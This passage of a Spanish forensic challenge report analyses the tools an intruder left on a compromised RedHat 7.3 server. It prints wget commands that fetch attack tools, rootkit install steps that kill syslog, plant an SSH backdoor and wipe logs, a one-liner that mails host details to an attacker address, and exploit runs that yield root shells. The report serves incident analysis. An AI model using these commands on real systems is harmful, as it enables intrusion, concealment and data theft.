Estas maquinas son www.zetu.as.ro y www.plus.factory.home.ro y están en idioma rumano. Sólo encontramos la maquina xhack.150m.com fuera de Rumania. Este dato nos hace pensar que el atacante es Rumano, aunque como hemos visto anteriormente el ataque se realizo desde una maquina ubicada en Estados Unidos. Adjuntamos una lista con la línea en la que se aprecia el comando usado por el atacante para bajarse los programas y los ficheros bash_history donde se encontró la traza. 13 wget www.zetu.as.ro/woot.tgz /var/tmp/.bash_history 21 wget www.zetu.as.ro/psyz.tar.gz /var/tmp/.bash_history 35 wget www.zetu.as.ro/psybnc.tgz /var/tmp/.bash_history 46 wget http://www.plus.factory.home.ro/selena.tgz /var/tmp/.bash_history 4 wget xhack.150m.com/sc.tgz /root/.bash_history 10 wget xhack.150m.com/https /root/.bash_history 14 wget www.zetu.as.ro/crk.tar.gz /.bash_history 41 wget www.zetu.as.ro/pico /.bash_history A estos programas hay que añadir 2 más, za.tgz y own, que si bien se baja de Internet probablemente en la sesión de FTP inicial, aunque no aparecen en los logs del sistema información al respecto. Procederemos a continuación a realizar una explicación de cada uno de los programas que se baja. 3.1. Scanner y exploit de Samba: woot.tgz

Este programa es un autorooter. Un autorooter16 es una herramienta que escanea y compromete maquinas vulnerables en una red. Está compuesto por varios programas que ínter operan para automatizar toda la tarea. En este caso, el autorooter busca maquinas con un servidor samba vulnerable a versiones de samba de versión igual o menor de la 2.2.817. Un usuario remoto puede explotar esta vulnerabilidad y ganar acceso de root a la maquina. Este paquete woot.tgz que se baja el atacante, se compone de una serie de programas y scripts que tienen funcionalidades especificas, siendo llamados a través del script, asmb. Para llamar a

16 Definición de autorooter: http://en.wikipedia.org/wiki/Autorooter http://www.securityfocus.com/infocus/1619 17 Explicación del exploit: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201 Parche de RedHat: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-3.7.3.src.rpm Exploits para la vulnerabilidad: http://www.securityfocus.com/bid/7294/exploit/

30

este script debemos de realizarlo pasándole como parámetro una clase B de IPS que escaneara buscando la vulnerabilidad. El script asmb, llama al a su vez al programa “pscan2“ que comprueba, IP a IP de la clase B, si tienen abierto el puerto 139. Esta ejecución da como resultado un fichero con las maquinas con ese puerto abierto. A continuación se llama al programa “vulvn“ que se alimenta del fichero anterior e intenta identificar la versión de samba. Al igual que en la ejecución del otro programa, se crea otro fichero con las maquinas que encuentra. Para terminar, se realiza una llamada al programa “o0o“ que a su vez llama al programa “try” que comprueba el tiempo de ejecución del exploit al que llama este (sambas). El programa sambas explota la vulnerabilidad y escribe en el fichero “woot.log” que en cada una de sus líneas aparece el comando que tiene que ejecutar el atacante para poder explotar esta funcionalidad en dichas maquinas. Una vez ejecutado esta línea, y si todo va como el atacante espera, al entrar en la máquina tendríamos permisos de administrador o root, por lo que no necesitaríamos ningún programa para subir nuestros permisos. Las líneas de este programa serán del tipo: ./samba -b 0 -v 10.0.128.128 Adjuntamos una lista de las versiones de samba y el sistema operativo que son vulnerables a este exploit. Este listado esta sacado de la salida de los strings del programa “samba”. sstrings sambas

54 samba-2.2.x - Debian 3.0 55 samba-2.2.x - Gentoo 1.4.x 56 samba-2.2.x - Mandrake 8.x 57 samba-2.2.x - Mandrake 9.0 58 samba-2.2.x - Redhat 9.0 59 samba-2.2.x - Redhat 8.0 60 samba-2.2.x - Redhat 7.x 61 samba-2.2.x - Redhat 6.x 62 samba-2.2.x - Slackware 9.0 63 samba-2.2.x - Slackware 8.x

64 samba-2.2.x - SuSE 7.x 65 samba-2.2.x - SuSE 8.x 66 samba-2.2.x - FreeBSD 5.0 67 samba-2.2.x - FreeBSD 4.x 68 samba-2.2.x - NetBSD 1.6 69 samba-2.2.x - NetBSD 1.5 70 samba-2.2.x - OpenBSD 3.2 71 samba-2.2.8 - OpenBSD 3.2 (package) 72 samba-2.2.7 - OpenBSD 3.2 (package) 73 samba-2.2.5 - OpenBSD 3.2 (package)

Para terminar, realizamos un ataque con este exploit sobre la nuestra maquina test, pero a diferencia de la maquina comprometida, esta tenia el paquete de samba instalado y funcionando. En este listado, se puede ver primero el comando ejecutado sobre la maquina a atacar y a continuación, el acceso del programa a la maquina. La firma del creador del programa “wooooot! kha0s owns u :)”, la ejecución del “uname”, “id” y del “uptime” y para terminar, el shell que nos da. El comando “uname –a” se ejecuto sobre ese shell, cuando ya teníamos premisos de root o administrador sobre la maquina atacada. # ./samba -b 0 -v 10.0.128.128 + Using ret: [0xbffffed4] + Using ret: [0xbffffda8] + woot woot! -------------------------------------------------------------- wooooot! kha0s owns u :) Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=0(root) gid=0(root) groups=99(nobody) 8:03pm up 5:24, 4 users, load average: 4.39, 4.22, 4.08 uname -a Linux rh73.localdomain 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown exit

31

3.2. Scanner y exploit de Apache+ssl: selena.tgz

Este paquete busca maquinas que tengan una vulnerabilidad ampliamente documentada en el paquete OpenSSL18 en versiones anteriores a la 0.9.6e, y al ser la versión que tiene instalada la maquina comprometida la 0.9.6b, siendo esta la vulnerabilidad usada por el atacante para entrar en la maquina como se pudo ver en puntos anteriores. Una vez el atacante entra en las maquinas que son susceptibles a este bug, lo realizara con permisos de usuario apache. Esto implica que el atacante deberá aumentar sus permisos usando alguna vulnerabilidad local de la maquina atacada. Este programa a diferencia del anterior, se lo baja de una página web perteneciente a una empresa rumana que se dedica a la venta de electrodomésticos (www.plus.factory.home.ro). Este paquete usa la misma estructura que el paquete woot.tgz, esto es, existe un script que una vez llamado, va ejecutando comando a comando comprobando si las maquinas pasadas como parámetros son vulnerables. Hasta que al final crea un fichero de texto donde escribe los comandos que el atacante debería de ejecutar para conseguir acceso a la maquina explotando esta vulnerabilidad. Como en el caso del woot, se lo baja ya compilado, con que no tiene los problemas que le podría haber ocasionado tener que compilarlo, sobre todo a la hora de búsqueda de compiladores, librerías, etc. Al igual que el paquete woot, este es llamado a través del script “assl” indicándole una clase B como entrada al programa. Lo primero que hace el script es llamar al programa “pscan2”, que va chequeando maquina por maquina buscando las que tengan abierto el puerto 443/TCP, que es el puerto donde por defecto corre el servidor web seguro. Como resultado de la ejecución de este programa, crea un fichero que contiene un listado de las maquinas que tienen dicho puerto abierto. Con la lista anteriormente creada, procede a llamar al programa “ssvuln” que intenta identificar la versión del servidor web seguro (Apache) por si esta fuera atacable. Como viene siendo habitual, la ejecución de este comando crea un fichero con la lista de maquinas atacables. Para terminar se crea una lista llamada “res.log” donde indicara los comandos que debe ejecutar el atacante si quiere entrar en las maquinas que son vulnerables a este exploit. Para crear esta lista hace una llamada al comando “oops” que intenta entrar en todas y cada una de las maquinas anteriormente reconocidas por tener un servidor apache. El script termina borrando las listas creadas a lo largo de la ejecución de los diferentes comandos, dejando únicamente el fichero “res.log” del que se ha hablado anteriormente.. A continuación vemos un listado de los sistemas operativos y sus versiones del apache que pueden explotar este bug y posibilitar al exploit comprometer dichas maquinas. Esta lista esta sacada de los strings del comando “sslx” que usara el atacante para entrar en la maquina que quiera comprometer. sstrings sslx Mandrake Linux 8.2 (apache-1.3.23-4) Mandrake Linux 8.1 (apache-1.3.20-3) Mandrake Linux 8.0 (apache-1.3.19-3) Mandrake Linux 7.1 (apache-1.3.14-2) Mandrake Linux 7.1 (apache-1.3.14 worm offset) SuSE Linux 8.0 (apache-1.3.23) SuSE Linux 8.0 (apache-1.3.23-137) SuSE Linux 7.3 (apache-1.3.20) SuSE Linux 7.2 (apache-1.3.19) SuSE Linux 7.1 (apache-1.3.17) SuSE Linux 7.0 (apache-1.3.12) RedHat Linux 7.3 (apache-1.3.22 worm offset) RedHat Linux 7.3 (apache-1.3.23-11)

Redhat Linux 7.2 (apache-1.3.26 w/PHP) Redhat Linux 7.2 (apache-1.3.26 worm offset) RedHat Linux 7.2 (apache-1.3.20-16) RedHat Linux 7.1 (apache-1.3.19-5) RedHat Linux 7.0 (apache-1.3.12-25) RedHat Linux 6.2 (apache-1.3.12-2) RedHat Linux 6.1 (apache-1.3.9-4) RedHat Linux 6.0 (apache-1.3.6-7) Slackware 8.1-stable (apache-1.3.26) Slackware 7.0 (apache-1.3.26) Debian Woody GNU/Linux 3.0 (apache-1.3.26-1) Gentoo (apache-1.3.24-r2)

18 Vulnerabilidad OpenSSL versiones < 0.9.6e http://www.cert.org/advisories/CA-2002-23.html

32

A continuación ponemos un ejemplo de la ejecución del comando que aparece en el fichero “res.log” para posibilitar entrar en una maquina con RedHat 7.3. Nótese, que a diferencia del caso anterior, en este caso entramos con el usuario apache, no como root, por lo que el atacante debe realizar alguna acción para ganar permisos. # ./ssx -a 0xc 10.0.128.128 # Opening 30 connections # Establishing SSL connections # Using the OpenSSL info leak to retrieve the addresses # ssl0 : 0x814bac0 # ssl1 : 0x814bac0 # ssl2 : 0x814bac0 # Sending shellcode ciphers: 0x814bac0 start_addr: 0x814ba00 SHELLCODE_OFS: 208 # Execution of stage1 shellcode succeeded, sending stage2 # Spawning shell... bash: no job control in this shell readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown uid=48(apache) gid=48(apache) groups=48(apache) 3:02pm up 2:01, 0 users, load average: 0.01, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ id uid=48(apache) gid=48(apache) groups=48(apache) readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ exit exit # Connection closed.

3.3. Rootkit y backdoor: crk.tgz Este programa se lo baja de la dirección www.zetu.as.ro. Como se puede observar en el fichero /.bash_history. Lo descomprime y lo ejecuta pasándole como parámetros el password de acceso (eliteaz) y el puerto donde instalara un servidor ssh (puerto 9933). /.bash_history 14 wget www.zetu.as.ro/crk.tar.gz 15 tar xzvf crk.tar.gz 16 cd crk 22 ./install eliteaz 9933

Veamos ahora lo que hace el script de instalación de este programa. En las primeras líneas de este fichero vemos que el autor nos explica la finalidad de este programa. Vemos que el autor lo firma como “ZeToo”. Comenta que es un backdoor que arranca un servicio ssh en la maquina que se instala. 1 #!/bin/bash 2 # 3 # Linux all rootkit ... made for personal use and friends by ZeToo 4 # Greetz to : V-R34L , Beleaua , Azazel ... 5 # This is my first sshd backdoor so it has minimal things ... 6 # i`ll add functions in time :) 7 # No install help added coz its a "private" rk 8 # www.cycomm-lamm3rz.com En la línea 31 y 32, comprueba los permisos para la instalación de este paquete, si el usuario que lo instala no es root, saldría con un error. Dado que este programa se instalo en la maquina del estudio, esto se realizo con permisos de root.

33

31 if [ "$(whoami)" != "root" ]; then 32 echo "${BLU}[+] ${RED}You dont have root access on this box ... get uid0 and retry"

Descomprime a continuación todos los ficheros que vienen con el paquete para luego copiarlos en el sistema. 45 tar xfz bin.tgz 46 tar xfz conf.tgz 47 tar xfz lib.tgz 48 rm -rf bin.tgz 49 rm -rf conf.tgz 50 rm -rf lib.tgz 51 tar xfz bin/ssh.tgz 52 rm -rf ssh*.tgz En la línea 57, mata el proceso syslog. Esto lo realiza para no dejar trazas de lo que realice a continuación. 57 killall -9 syslogd Mueve los ficheros descomprimidos antes del directorio lib, moviéndolos al directorio /lib del sistema. 75 mv lib/* /lib/ Adjunto los nombres de los ficheros que mueve al directorio /lib. -rwxr-xr-x 1 root root 33848 sep 8 2000 libproc.a lrwxrwxrwx 1 root root 16 mar 2 02:27 libproc.so -> libproc.so.2.0.6 -rwxr-xr-x 1 root root 37984 sep 8 2000 libproc.so.2.0.6

Mueve el fichero /sbin/xlogin a /bin/login. En la versión 7.3 no existe ese fichero. En la línea 79 vemos que reconstruye los enlaces a las librerías del sistema para que use las librerías que hemos copiado anteriormente. 78 mv /sbin/xlogin /bin/login 2>/dev/null 79 /sbin/ldconfig A continuación, crea una serie de directorios donde meterá los ficheros de configuración del rootkit. 85 mkdir /lib/security 2>/dev/null 86 mkdir /lib/security/.config 2>/dev/null 87 mkdir /lib/security/.config/ssh 2>/dev/null En la siguiente línea crea el password de entrada al sistema. Como ya se vio en cuando hablamos de los scanners de rootkits, este fichero aparecía. Vemos a continuación, que ejecutando el comando, con el password “eliteaza” da el mismo resultado que el contenido del fichero. 96 ./pg $1 > /etc/ld.so.hash # ./pg eliteaz dbSj8RE0TA3pQ # cat /etc/ld.so.hash dbSj8RE0TA3pQ Según los caracteres que tiene dicha línea (13 caracteres) y el tipo, parece ser que es el password del rootkit. Este password encriptado puede ser usado por el atacante cuando se conecte al rootkit para conseguir una shell de root en la maquina comprometida. Esta teoría se confirmara en un punto posterior.

34

Además este fichero no se copio a la maquina cuando de instalo la primera vez, por lo que se deduce que fue instalado a posteriori después de la fecha de instalación del equipo. # rpm -qf /etc/ld.so.hash --dbpath /reto2/hda/var/lib/rpm error: file /etc/ld.so.hash: No existe el fichero o el directorio Copia el fichero con la password con otro nombre. De este fichero ya hablamos cuando buscábamos el rootkit. 98 cp -f /etc/ld.so.hash /lib/libext-2.so.7 Mete el puerto que hemos indicado al arrancar el programa. 116 echo "Port $2" >> $basedir/bin/.sh/sshd_config A continuación mete el puerto en los ficheros que se indican. 117 echo "3 $2" >> $basedir/conf/hosts.h 118 echo "4 $2" >> $basedir/conf/hosts.h Crea el archivo de configuración para el ssh, anexando un archivo ya preparado al fichero con el puerto que ha creado anteriormente en la línea 116. 120 cat $basedir/bin/.sh/shdcf2 >> $basedir/bin/.sh/sshd_config ; rm -rf $basedir/bin/.sh/shdcf2 Copia los archivos de configuración /lib/lidps1.so, file.h, hosts.h, log.h y proc.h al directorio /usr/include. De estos ficheros ya se hablo en el punto de escaneo de rootkits, pero para recordar, diremos que son listas de IPS, puertos y comandos que serán eliminados de las salidas de los comandos cuando estos sean ejecutados sobre el sistema en el que se instalo este rootkit. 131 mv $basedir/conf/lidps1.so /lib/lidps1.so 132 mv $basedir/conf/* /usr/include/ Mueve los ficheros de configuración del servicio ssh al directorio /lib/security/.config/ssh/. Siendo los ficheros que mueve sshd_config, ssh_host_key, ssh_host_key.pub y ssh_random_seed. 138 mv .sh/* /lib/security/.config/ssh/ Aquí lo que realiza el script es copiar el fichero de arranque del servicio ssh a /usr/sbin/xntps y a /lib/security/.config/. Una vez que lo copia arranca el servicio o el backdoor con la línea “/usr/sbin/xntps –q”. 140 cp /lib/security/.config/ssh/sshd /usr/sbin/xntps 141 mv /lib/security/.config/ssh/sshd /lib/security/.config/ 142 chmod 755 /usr/sbin/xntps 143 /usr/sbin/xntps –q A continuación crea un fichero de arranque en /etc/rc.d/init.d con el nombre “cycomm”. Esta parte tiene un fallo, y es que falta un enlace de este fichero al rc correspondiente, en este caso el comando seria “ln –s /etc/rc.d/init.d/cycomm /etc/rc.d/init.d/S90cycomm”. Con este comando se activaría el servicio la próxima vez que se arranca la maquina. 149 echo "#!/bin/bash" >> /etc/rc.d/init.d/cycomm 150 echo "#startup script ... doh" >> /etc/rc.d/init.d/cycomm 151 echo "/usr/sbin/xntps -q" >> /etc/rc.d/init.d/cycomm 152 chmod +x /etc/rc.d/init.d/cycomm

35

Borra los logs que se han podido crear en el sistema. Y los históricos del usuario root. 157 rm -rf /var/log/* 160 rm -rf /bash.history 161 rm -rf /root/.bash_history Este script tiene un fallo y es que no copia o mueve los comandos que se encuentran en el directorio bin creado por el rootkit a las localizaciones de los binarios del sistema. Estos binarios que se encuentran en este directorio están preparados para leer los ficheros creados anteriormente y no mostrar por pantalla las palabras definidas en dichos ficheros. Por ejemplo, en el fichero /lib/lidps1.so esta definida la palabra “xntps”, que es el backdoor que arranca este rootkit. Si ejecutamos el binario “ps” que esta en el sistema aparece el proceso, pero si en cambio ejecutamos el que viene con el rootkit, este proceso no aparece. # /bin/ps -ef | grep xntps root 9997 1 0 01:16 ? 00:00:00 /usr/sbin/xntps -q # /var/tmp/crk/bin/ps -ef | grep xntps # Como hemos visto en el fichero mactime_todo.txt, el atacante sustituye los binarios del sistema por los del rootkit, esto indica que no es la primera vez que el atacante hace uso de este rootkit. A continuación añado las líneas que debieron de salir al atacante cuando ejecuto la instalación del rootkit sobre la maquina atacada. [root@rh73 crk]# ./install eliteaz 9933 [+] ------------------------------------------------------------------- [+] _____ _____ ___ [+] / \ / \ | | [+] | ____| | ___| __ __ __ __ | | [+] | | _ _ | | __ | \_/ || \_/ | | | [+] | | | | | || | / \ | || | | | [+] | |___ | \/ || |__ | || || | | |____ _ [+] | | \ / | || || |\/| || |\/| | | | / \ [+] \_____/ \ / \_____/ \__/ |__| |_||__| |_| |________| \_/ [+] |__| [+] CyComm Lamm3rz Rootkit For all versions of linux [+] -------------------------------------------------------------------- [+] Rootkit instalation started at 23:47:20 [+] ... [+] Instaling sshd backdoor now [+] ... [+] Using your requested password : eliteaz [+] ... [+] Using your requested port : 9933 [+] ... [+] Doing some things ... :P .. to make the rk restart after reboot [+] ... [+] Erasing some system logs [+] ... [+] Showing local infos ...just for fun :P [+] ... [+] Procesor or procesors :) [+] MobileIntel(R)Pentium(R)III [+] Ip address from eth0 [+] 10.0.128.128 [+] Root uptime and kernel version [+] 11:47pm up 10:46, 2 users, load average: 0.41, 0.10, 0.03 [+] Linux rh73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown [+] -------------------------------------------------------------------

36

[+] Done installing Cycomm rootkit on 10.0.128.128 [+] You can now login using ssh port 9933 and global pass eliteaz [+] Visit www.cycomm-lamm3rz.com - #cycomm-lamm3rz @ undernet [+] -------------------------------------------------------------------- Para terminar estudiaremos los ficheros que no se han visto en puntos anteriores. Como ya se ha comentado, la mayoría de estos ficheros contiene una lista de palabras las cuales no serán presentadas en las salidas de los comandos ejecutados con los binarios de este rootkit. El fichero /usr/include/file.h podemos ver que contiene una serie de palabras que indican accesos a librerías, ficheros de configuración, procesos arrancados etc. 1 libext-2.so.7 2 .sh 3 system 4 tksb 5 tkp 6 lblip.tk 7 tks 8 ldd.so 9 srd0 10 ldlib.5 11 .config 12 ld.so.hash 13 eggdrop 14 emech 15 psybnc En el fichero /usr/include/hosts.h, se definen IPS, y puertos que no deben aparecer en los listados de ciertos programas, por ejemplo el netstat. El primer digito, indica el tipo de dato que sale a continuación. Un 2 para IPS o rango de IPS, y el 3 y 4 para tipo de puertos, ya sean TCP o UDP. Es interesante ver que en las últimas líneas de este fichero esta definido el puerto 9933 que es el que arranca el rootkit con un servidor ssh. 1 2 212.110 2 2 195.26 3 2 194.143 4 3 2002 5 4 2002 6 3 6667 7 4 6667 8 3 31415 9 3 31414 10 4 31415 11 4 31414 12 3 21018 13 3 21019 14 4 21018 15 4 21019 16 2 62.220 17 2 213.233 18 3 9933 19 4 9933 Fichero /usr/include/log.h, al igual que el fichero anterior, se definen rango de IPS y procesos o ficheros que no deben de aparecer en los listados. 1 62.220 2 212.110 3 195.26 4 SH-fORCE 5 sh-fORCE

37

6 psyBNC 7 eggdrop 8 t0rn 9 torn 10 tornkit Fichero /usr/include/proc.h, se definen únicamente procesos que no deben aparecer en los listados. 1 3 eggdrop 2 3 bnc 3 3 psyBNC 4 3 sh-fORCE 5 3 SH-fORCE 6 3 synscan 7 3 setup 8 3 in.inetd 9 3 tk 10 3 xntps 3.4. Irc Bouncer: psybnc.tgz

El psyBNC19 es un programa bouncer de IRC. Este tipo de programas actúan como proxys de IRC permitiendo ocultar la dirección IP real del usuario que se conecta al IRC a través de este tipo de programas. Esto permite al usuario que se conecte a través suyo mantener la conexión abierta en el canal elegido con los privilegios del usuario conectado aun en el caso que el usuario se desconecte. La IP real del usuario que use este aplicativo, se mantendrá oculta incluso en transferencias de ficheros con sesiones DCC. Durante el tiempo que el atacante se encuentra en la maquina se baja 2 versiones de este bouncer y un fichero de configuración, aun así no consigue hacer funcionar este programa. La configuración del archivo de este programa es la siguiente: 1 PSYBNC.SYSTEM.PORT1=17900 2 PSYBNC.SYSTEM.HOST1=* 3 PSYBNC.HOSTALLOWS.ENTRY0=*;* 4 USER1.USER.LOGIN=Angel 5 USER1.USER.USER=^_^C12GuEeS WhO? 6 USER1.USER.PASS==1g'c0A0p'x1d1K1a`Y 7 USER1.USER.RIGHTS=1 8 USER1.USER.VLINK=0 9 USER1.USER.PPORT=0 10 USER1.USER.PARENT=0 11 USER1.USER.QUITTED=0 12 USER1.USER.ACOLLIDE=0 13 USER1.USER.DCCENABLED=1 14 USER1.USER.AIDLE=0 15 USER1.USER.LEAVEQUIT=0 16 USER1.USER.AUTOREJOIN=1 17 USER1.USER.SYSMSG=1 18 USER1.USER.LASTLOG=0 19 USER1.USER.AWAYNICK=Azazel 20 USER1.USER.AWAY=^_^C12By Azazel 21 USER1.USER.NICK=AzazeI 22 USER1.SERVERS.SERVER1=lelystad.nl.eu.undernet.org 23 USER1.SERVERS.PORT1=6667 24 USER1.CHANNELS.ENTRY1=#cycomm-lamm3rz 25 USER1.CHANNELS.ENTRY2=#Smenari

19 Mas información en http://www.psychoid.net/

38

26 USER1.CHANNELS.ENTRY0=#port La primera y segunda línea crea un listener o un servicio que escucha en un puerto, que en nuestro caso será en todas y cada una de las IPS de la maquina escuchando el puerto 17900. En la tercera línea indica los hosts o IPS que se pueden conectar a este bouncer. Con esta línea indica que se pueden conectar todas (all). Otras líneas que son importantes son el nombre del usuario que usara para conectarse “Azazel”, conectándose al servidor de IRC lelystad.nl.eu.undernet.org, usando el puerto 6667. Y una vez conectado entra en los canales “cycomm-lamm3rz”, “Smenari” y “port”. 3.5. Rootkit Suckit: sc.tgz El SucKit es un rootkit que apareció en la revista electrónica Phrack20 en el numero 58. Mas concretamente en el articulo 0x07 ("Linux on-the-fly kernel patching without LKM"). Es un rootkit que se carga en el sistema a través de /dev/kmem. Este instala un sniffer, un ocultador de procesos y de archivos enmascarando las acciones que realice el atacante a través de la puerta trasera que también crea este rootkit. El atacante después de bajarse el programa lo descomprime dando lugar a 3 ficheros. El primero de ellos es un script llamado “inst”. En este fichero codificado en octal se encuentra el fichero “sk” que es el sustituto del init del sistema. Este script, crea un directorio “/usr/share/.X12-kernel” donde se encuentra el rootkit, que debe ser ejecutado para instalarlo. Adjuntamos la prueba de la instalación/ejecución de este rootkit sobre la maquina test. Se puede observar que primero, en la llamada de instalación el atacante usa la palabra “eliteaz” como password e indica que su puerta trasera debe ser abierta en el puerto 9933. Lo que también llama la atención, es que en la instalación del rootkit, falla dando un error de kernel. En un principio este error no tendría importancia, pero implica que si la maquina se rearranca esta no levantaría al estar el archivo /sbin/init corrompido por el rootkit. [root@rh73 sc]# ./inst eliteaz 9933 Your home is /usr/share/.X12-kernel, go there and type ./sk to install us into memory. Have fun! [root@rh73 sc]# cd /usr/share/.X12-kernel [root@rh73 sc]# ./sk /dev/null RK_Init: idt=0xffc18000, FUCK: Can't find sys_call_table[]

3.6. Irc backdoor: https21

Troyano escrito en perl, que abre un acceso remoto por puerta trasera vía IRC. El troyano se conecta al servidor IRC eu.undernet.org, uniéndose al canal #aseasi, esperando instrucciones de un atacante remoto. Estas instrucciones pueden hacer que el troyano ejecute comandos en el servidor en forma arbitraria, o realice ataques de inundación de paquetes (flooding), a blancos específicos, pudiendo ser usado para ataques distribuidos de denegación de servicio (DDoS).

20 Phrack articulo 7 del numero 58: http://www.phrack.org/show.php?p=58&a=7 21 Información del Troyano: http://www.vsantivirus.com/perl-shellbot-a.htm

39

3.7. Backdoor: pico Programa que pone a correr una shell de root en el puerto 5608. Además en periodo de ejecución envía un email a la dirección radautiteam@yahoo.com con la siguiente información sacada de los strings de dicho fichero: 57 touch /tmp/.info; hostname -i >> /tmp/.info; uname -a >> /tmp/.info; cat /etc/*release >> /tmp/.info; /sbin/ifconfig | grep inet >> /tmp/.info; cat /tmp/.info | mail -s 'Port nou' radautiteam@yahoo.com Reproducimos la ejecución de este programa en la maquina test. Y verificaos que accedemos como root en el puerto indicado. [root@rh73 root]# telnet localhost 5608 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05a# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-2.05a# 3.8. Backdoor: za.tgz Este paquete, consta de dos ficheros: zbind y zero. El programa zbind al igual que en el caso del pico abre un shell de root en el puerto 4000. En este caso no envía correos. Adjuntamos la prueba realizada en la maquina test. [root@rh73 za]# telnet localhost 4000 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. sh-2.05a# id id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

3.9. Exploit: own22

Exploit local del kernel. Hace uso de una vulnerabilidad en una llamada a ptrace de los kernels 2.2 y 2.4. Un usuario del sistema ejecutando este programa gana privilegios de administrador o root de la maquina. Este fichero esta infectado con el virus RST.b. Este fichero fue borrado del sistema una vez que el intruso paso de usuario apache a root. En el punto 2.6 describimos los pasos dados para recuperar este fichero. El intruso lo descargo como otras herramientas de http://www.zetu.as.ro/own. Adjuntamos en un fichero aparte a este informe el programa recuperado. Procedemos a ejecutar este programa sobre la maquina test, comprobando que un usuario de sistema se convierte en root.

22 Información sobre la vulnerabilidad ptrace del kernel 2.2 y 2.4: http://www.kb.cert.org/vuls/id/628849 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127

40

[tato@rh73 tato]$ ./own [+] Attached to 8619 [+] Signal caught [+] Shellcode placed at 0x4000fd1d [+] Now wait for suid shell... sh-2.05a#

41

4. Respuestas a las preguntas del reto En este momento, ya tenemos toda la información que necesitamos para responder a las preguntas que se hacían en el reto. 4.1. ¿A que sistema corresponden las imágenes?

• El equipo era un Intel con un disco duro IDE. • El sistema operativo que tenía instalado era Linux y la distribución RedHat 7.3. • El sistema de ficheros era ext3. • El nombre del equipo era finanzas. Tenía configuradas dos IPS, la primaria

192.168.200.128 y una virtual 192.168.100.188. Estas direcciones son de redes privadas no enrutables, así que presumiblemente había un router haciendo NAT y mapeando al menos el puerto 443 y 22 sobre esta maquina.

4.2. ¿El sistema fue vulnerado? El sistema fue vulnerado y durante la intrusión el intruso realizó las siguientes acciones:

• Instaló defectuosamente 2 rootkits: SHV4 y Suckit. • Instaló 2 autorooters: w00t (samba) y selena (apache+ssl). • Infectó el equipo con 2 virus con capacidades de backdoor: RST.b y OSF.a • Instaló 3 backdoors: zbind (shell), pico (shell) y https (irc) • Instaló un bouncer de irc: psybnc.

4.3. ¿Quien y desde donde ingreso? El intruso durante el ataque no ha demostrado un alto nivel técnico, ha usado herramientas de terceros, ni siquiera se ha tomado la molestia de compilarlas y en cuanto han fallado, tampoco ha sabido como solucionarlo. Simplemente las ha vuelto a reinstalar y cuando han vuelto a fallar, se ha bajado otra distinta. De hecho, sospechamos que las infecciones con los virus son totalmente fortuitas y que el atacante desconoce su existencia y mucho menos como aprovecharse de ellas. En resumen son lo que comúnmente se conoce como Script-Kiddies, es decir, gente sin alto nivel técnico, que se descargan herramientas y las usan, pero en esencia no saben como funcionan. Suelen tener todo el tiempo del mundo para probar y probar y probar… El atacante instala varias herramientas de cada tipo en las típicas en el proceso de una intrusión (rootkit, backdoor, autorooter para atacar a otras maquinas). La única herramienta ajena a este proceso es el bouncer de Irc. Los bouncers se suelen usar para mantener el control de canales mientras se esta desconectado, para ocultar la IP real al resto, para lanzar ataques de DoS, etc. El perfil de la gente que se mete en estas guerras, suelen ser chicos jóvenes con afán de protagonismo y un ego alto. Usan el irc para “contar sus batallitas”, luchar con grupos rivales, etc. y los bouncer les ayudan a mantenerse anónimos en estos canales de irc, a atacar a otros y a evitar los ataques. En cuanto a la nacionalidad, debido a que la mayor parte de las herramientas que instala, se las baja de un proveedor de alojamiento web gratuito alojado en Rumania y cuyas paginas están íntegramente en rumano, parece razonable pensar que el atacante era de esa nacionalidad. Además una de las herramientas manda un mail a una dirección de yahoo cuyo username era radautiteam. Radauti es una pequeña ciudad rumana (35.000 habitantes) junto a la frontera con Ukrania, probablemente los atacantes sean de esta población o muy cercana.

42

Sin embargo podría sorprender que la IP del ataque (64.202.43.190) no provenga de Rumania sino de EEUU, en concreto de Reno, Nevada. Esto no tiene nada de sorprendente si pensamos que desde la maquina del reto (que esta en México) ataca a otras maquinas de Brasil, Italia, Polonia, etc. y estas percibirán el ataque con origen México. Con toda probabilidad la IP 64.202.43.190 es una maquina previamente comprometida. Por lo tanto respondiendo a la pregunta del reto, estimamos que:

• El atacante es uno varios chicos jóvenes rumanos, probablemente de la ciudad de Radauti al Norte de Rumania, cerca de la frontera con Ukrania.

• Con pocos conocimientos técnicos, que usan herramientas desarrolladas por terceros, pero que nunca desarrollan las suyas propias.

• Cuya principal motivación es controlar el mayor número de maquinas posibles, para instalarles bouncers de IRC.

• La dirección IP desde la que se conectaron es 64.202.43.190. El dominio pertenece a una empresa de hoteles asiática (asiahotels.net) pero la máquina esta físicamente en Reno, Nevada, EEUU en Altaway Technologies. Con toda seguridad dicha maquina esta a su vez comprometida.

